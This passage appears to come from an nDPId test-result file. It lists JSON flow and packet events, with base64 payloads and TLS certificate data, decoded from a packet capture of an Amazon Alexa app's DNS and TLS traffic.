1K9QF2pjl1F7igYDANBgkqhkiG9w0BAQsFAAOCAQEAMutnmJtagxNXhsSB+c8O8amvz6IvDrEVnV3HU4DE9ERh9kiHsWglEKiZlpH2\/\/UO+6tZ55NJaRjEmM1BwhA9h+ZkYURr7Mid1tE="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":88,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":7,"flow_first_seen":1490976029756,"flow_last_seen":1490976030031,"flow_tot_l4_data_len":1859,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.0","src_port":33556,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mads.amazon-adsystem.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02387{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":31709,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXclwpAANQGFso0XugArBAq2AG7gxTPTpe\/Ff8o7VAQf\/zi0AAAi0hJpz9FnVuq8jc8kba9WvW7HI594Yds2wE7DuuChDCUrYD215w7Cl0Q7fB\/1o9RRmDHrx5yNPPaj5UftuhgUv+9XAIC2b3Y7DKK2L000Z9NLbIilkLU\/4PTX8ebPMJgYRpuOEIYYBLL3Sv8Pj\/gv9xFPP9hh0ntlj4aiVj8SeavnW6+\/\/CZNATNx6KmWx8HbZqoGSTf58g4MYoM\/b49g80oV3KZ4faDWRUnyyFH5FgpiUtNFgQABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5E="} +00976{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":31797,"pkt_caplen":466,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":466,"pkt_l4_len":432,"pkt":"ePiC0\/vCAMDKkVoBCABFAAHElwtAANQGGuE0XugArBAq2AG7gxTPTp1zFf8o7VAYf\/xkRgAAnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMBTQwAAUkDABdBBDd20fbp4ncVWf\/ACeE\/jxmGH410cWIoPh4+lYdeKjdaCW9h7Sopq0a2YKSskvivffVj8HChtq9sr1S6vtUQffUGAQEAa0ORxwOHjIroQssLNodNaC2N\/5uiNcAqJi1NmIvHyYdt\/gsQZODf7JgxEb3xT9fr3L8Q3Dhrwl68OztPpTZt\/2WvbGem+mJ0IjMsK4jfX5S5aCYQlefP0sFhDbZz3yKYz5Ebqk7QauiZnBOwHyVHqcM1brn7ekG3H5w5GqMTlobg7gX1cISNQHopaEtrnv\/QakxnXGLaq8mrLy3EKU3A4uQL0iFrVKfzihrIFPMV9zl0VqKSi3oiN087C53sI3DxI5lVaalLeYd8zZy1k5ahTLHTzwomkEBe21VBarvzWNtn4S6Zsmv8\/yxMBhL1OTn08dOns125SaRsRvQdcH3ukBYDAwAEDgAAAA=="} +01159{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":90,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":9,"flow_first_seen":1490976029756,"flow_last_seen":1490976030031,"flow_tot_l4_data_len":3771,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":419,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.0","src_port":33556,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mads.amazon-adsystem.com","server_names":"mads.amazon-adsystem.com,mads.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=mads.amazon.com","fingerprint":"E0:2E:BD:D6:46:9B:05:03:93:CC:A7:28:7A:F4:57:9C:EB:40:8F:AB"}} +00414{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":35279,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYe1AAEAG5ZusECrYNF7oAIMUAbsV\/yjtz06Xv1AQAWKQYQAA"} +00414{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":35546,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYe5AAEAG5ZqsECrYNF7oAIMUAbsV\/yjtz06dc1AQAW2KogAA"} +00414{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":36355,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYe9AAEAG5ZmsECrYNF7oAIMUAbsV\/yjtz06fD1AQAXmI+gAA"} +00589{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":92845,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmYfBAAEAG5RqsECrYNF7oAIMUAbsV\/yjtz06fD1AYAXkEAgAAFgMDAEYQAABCQQSbYevDP9e67TJFZfQFIvfhrr5+fnPuxslRjL\/1Oqgzdy3UNL8+il6UNI2zO0CB77cstD\/gOobfFgR4zapVFY0\/FAMDAAEBFgMDACgXfnjwCUbJnVyWNqB++orasSpB\/oDoUxDtVQIuNuCCkMuKefrmWx8e"} +00487{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":191263,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ePiC0\/vCAMDKkVoBCABFAABblwxAANQGHEk0XugArBAq2AG7gxTPTp8PFf8pa1AYf\/rsKQAAFAMDAAEBFgMDACgkJ2tRC1us4Bb\/SF1C2Bg+OskETKZ4uLVGrQFlE1Cp+H5wONFplMgo"} +00416{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":192572,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYfFAAEAG5ZesECrYNF7oAIMUAbsV\/ylrz06fQlAQAXmISQAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":111,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1490976030681,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":7358,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":681470,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AMDKkaPvePiC0\/vCCABFAABEWlBAAEARM1+sECrYrBAqARy+ADUAMIK\/xAMBAAABAAAAAAAAC2ZpcnMtdGEtZzdnBmFtYXpvbgNjb20AAAEAAQ=="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":111,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1490976030681,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":7358,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"firs-ta-g7g.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":758514,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"ePiC0\/vCAMDKkaPvCABFwABQalIAAEABYqGsECoBrBAq2AUBAe6sECoqRQAANMRJQAA\/Bpp3rBAq2DRV0cXXygG707KdlouELZKAEAGm9GwAAAEBCAoA9kpTbQnnbg=="} +00474{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":890027,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ePiC0\/vCAMDKkaPvCABFAABU0XFAAEARvC2sECoBrBAq2AA1HL4AQPRGxAOBgAABAAEAAAAAC2ZpcnMtdGEtZzdnBmFtYXpvbgNjb20AAAEAAcAMAAEAAQAAABwABDbvFrk="} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":116,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":19,"flow_packet_id":2,"flow_first_seen":1490976030681,"flow_last_seen":1490976030890,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":7358,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"firs-ta-g7g.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.22.185"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1490976030894,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.22.185","src_port":53682,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":894150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8J69AAEAG7nysECrYNu8WudGyAbvyuG3OAAAAAKAC\/\/+kIgAAAgQFtAQCCAoA9kphAAAAAAEDAwg="} +00427{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":102375,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwN3JAAOcGN8U27xa5rBAq2AG70bLD2Mra8rhtz3ASH\/580QAAAgQFtAEDAwY="} +00414{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":103941,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJ7BAAEAG7o+sECrYNu8WudGyAbvyuG3Pw9jK21AQAVfHQgAA"} +00726{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":106386,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AMDKkaPvePiC0\/vCCABFAAENJ7FAAEAG7amsECrYNu8WudGyAbvyuG3Pw9jK21AYAVcWrwAAFgMBAOABAADcAwMXtWbEMzpaIh7LAfTS6lRlyq4lFkX3g5E1gYNEJ7C9NQAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAhwAAABsAGQAAFmZpcnMtdGEtZzdnLmFtYXpvbi5jb20ACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARACMAAAANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAw=="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1490976030894,"flow_last_seen":1490976031106,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":20,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.22.185","src_port":53682,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"firs-ta-g7g.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00423{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":181205,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTUpAANUGM\/U27xa5rBAq2AG70bLD2Mrb8rhtz1AQAOjHsQAAAAAAAAAA"} +00423{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":183372,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTUtAANUGM\/Q27xa5rBAq2AG70bLD2Mrb8rhutFAQAPjGvAAAAAAAAAAA"} +02378{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":185749,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcTUxAANUGLj827xa5rBAq2AG70bLD2Mrb8rhutFAQAPgbgwAAFgMDAFkCAABVAwNIOq8yPYlur6ZafUHN6NRmcNxPmXicNTZ1Gwvq54oHFyA6uaWf0D7O00ORmVtY1zrMzrFebSXNGmA+g7n9X3pGpcAvAAAN\/wEAAQAACwAEAwABAhYDAws6CwALNgALMwAF8TCCBe0wggTVoAMCAQICEGlmyz6JXoqClmJke+eOTgMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjExMjUwMDAwMDBaFw0xNzEyMzEyMzU5NTlaMHAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRkwFwYDVQQKDBBBbWF6b24uY29tLCBJbmMuMR8wHQYDVQQDDBZmaXJzLXRhLWc3Zy5hbWF6b24uY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvUNBbY+iFgqV0kV\/4qhcN0eVOlHNv18D18P\/tYAYwgLQSwADz+HaxRcHVfbvFCnnR2cPewWFdONdmqoIpXSJJgNHGupKzGdBw1sZI9Hvyoq5lpdSm14PfyJGBRdeYAYwtrU4zazzNN\/IWs0jTBh7CDuFx2au55TtK6Mp+eTsEoL3\/KG9+KVclDlvGekG2g5CEj7MLVNSSPvCOZozaG0d8RvoMbkWESLMthqkC33QRzrmnQ9W0SWWqBURuhM0Jh9fTa+69h\/fTnbHAjTH6KP5pqgz4J56Bnl8dRfTwZmyjDzuM2pkDa0DqNBWwYddfQVOBSKg1CVNRTD2NZC6eFh2OwIDAQABo4ICczCCAm8wIQYDVR0RBBowGIIWZmlycy10YS1nN2cuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWJuaO8wAAAQDAEcwRQIgT43R93TPtqSKqOZQJUUmZm4idNP9R+6s0F1taEAGQVACIQDAyJBnhXevVCm0Hie7DrWDnNPC2nP2pUrNuqNnXkEeogB2AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABWJuaPBIAAAQDAEcwRQIgGZOGFaRk\/3N\/PnGTBN1gCTNmLbBrtubM76UgdjX5+FwCIQDAUFLeFnb7grgO7fU7+b2vIwzHNEF0QCraZfjh0EgEVzANBgkqhkiG9w0BAQsFAAOCAQEApf39MtcmxyJY3fsB++QLtMLrBL5MT+uAmow0MEiI3Civu1yialnnboddj1zqp+MvxcbMuW\/638RGEK3Dnhlfw2SARP3a3Fes1+PRMutRcBCPRpgYjDc="} +00830{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":123,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":7,"flow_first_seen":1490976030894,"flow_last_seen":1490976031185,"flow_tot_l4_data_len":1857,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.22.185","src_port":53682,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"firs-ta-g7g.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02386{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":186238,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcTU1AANUGLj427xa5rBAq2AG70bLD2NCP8rhutFAQAPj4KAAAMY3YoEpJpJNddMlAwDYMvooom9\/MKmzzdaAtIx6mr3wHuODqGFWdDWnlD\/uNw0Hq5q7a2WC1d3bKUo13KolRHHonCGUFZ1ACOBcPAus\/Tm0yZoleG1s6NSIfv\/vZfwqJ6pKr9CWUaA7XA8lBydJC4PNjsYwVVJ84di\/mfLcQBmoGbmwSGMZqqlULvzctUVMDXtDyxo4XNYKI0vtjhaLGx2EXLA8NeY639JkABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaH